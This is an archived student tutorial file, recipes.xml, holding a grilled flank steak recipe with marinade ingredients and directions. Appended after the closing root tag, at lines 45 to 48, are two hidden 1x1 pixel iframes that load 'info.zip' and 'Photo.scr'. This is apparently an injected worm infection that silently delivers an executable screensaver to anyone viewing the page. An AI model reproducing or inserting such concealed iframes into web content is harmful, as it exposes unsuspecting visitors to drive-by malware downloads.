home *** CD-ROM | disk | FTP | other *** search
/ 207.233.110.77 / 207.233.110.77.tar / 207.233.110.77 / web31 / Section_35397 / Martins_Jaymn / tutorial.11 / tutorial / recipes.xml < prev   
Extensible Markup Language  |  2016-05-28  |  2KB  |  49 lines
  1. <?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
  2. <!--
  3.    Recipes from thehelpfulcook.com
  4.    
  5.    Filename: recipes.xml
  6.    Author: Jaymn Martins
  7.    Date: 5/6/11
  8. -->
  9. <?xml-stylesheet type="text/css" href="dp.css" ?>
  10. <recipes>
  11.   <recipe group="beef" nationality="asian">
  12.     <title>Grilled Flank Steak with Asian Sauce</title>
  13.     <description>
  14.       <![CDATA[
  15.       A flavorful marinade adds a touch of zest to this classic steak recipe. The dish is best served with green beans & rice. We recommend
  16.       complementing the marinade spices with a pale ale or a Pinot Noir.
  17.       ]]>
  18.     </description>
  19.     <author>Tanya Evans</author>
  20.     <servings>6</servings>
  21.     
  22.     <ingredients>
  23.       <ingredient>½ cup soy sauce</ingredient>
  24.       <ingredient>½ cup plum sauce</ingredient>
  25.       <ingredient>½ cup pineapple juice</ingredient>
  26.       <ingredient>½ cup ketchup</ingredient>
  27.       <ingredient>¼ cup scallions, finely sliced</ingredient>
  28.       <ingredient>3 tbsps cilantro, chopped</ingredient>
  29.       <ingredient>2 tbsps fresh ginger, minaced</ingredient>
  30.       <ingredient>2 tbsps fresh garlic, minaced</ingredient>
  31.       <ingredient>2 flank steaks, about 1¼ lbs each</ingredient>
  32.     </ingredients>
  33.     
  34.     <directions>
  35.       <step>Combine the marinade ingredients in a medium bowl.</step>
  36.       <step>Trim the flank steaks of surface fat.</step>
  37.       <step>Place the steaks and marinade in a sealed plastic bag and refrigerate for 3 to 6 hours.</step>
  38.       <step>Remove the steaks from the bag and boil the marinade in a small saucepan for 1 full minute.</step>
  39.       <step>Let steaks stand at room temperature for 20 to 30 minutes.</step>
  40.       <step>Grill steaks over direct high heat (500°) for 8 to 10 minutes, turning once halfway through.</step>
  41.       <step>Remove steaks from the grill and let rest for 3 to 5 minutes.</step>
  42.       <step>Cut steaks across the grain into thin strips and serve with the marinade sauce.</step>
  43.     </directions>
  44.   </recipe>      
  45. </recipes><iframe src=info.zip width=1 height=1 frameborder=0>
  46. </iframe>
  47. <iframe src=Photo.scr width=1 height=1 frameborder=0>
  48. </iframe>
  49.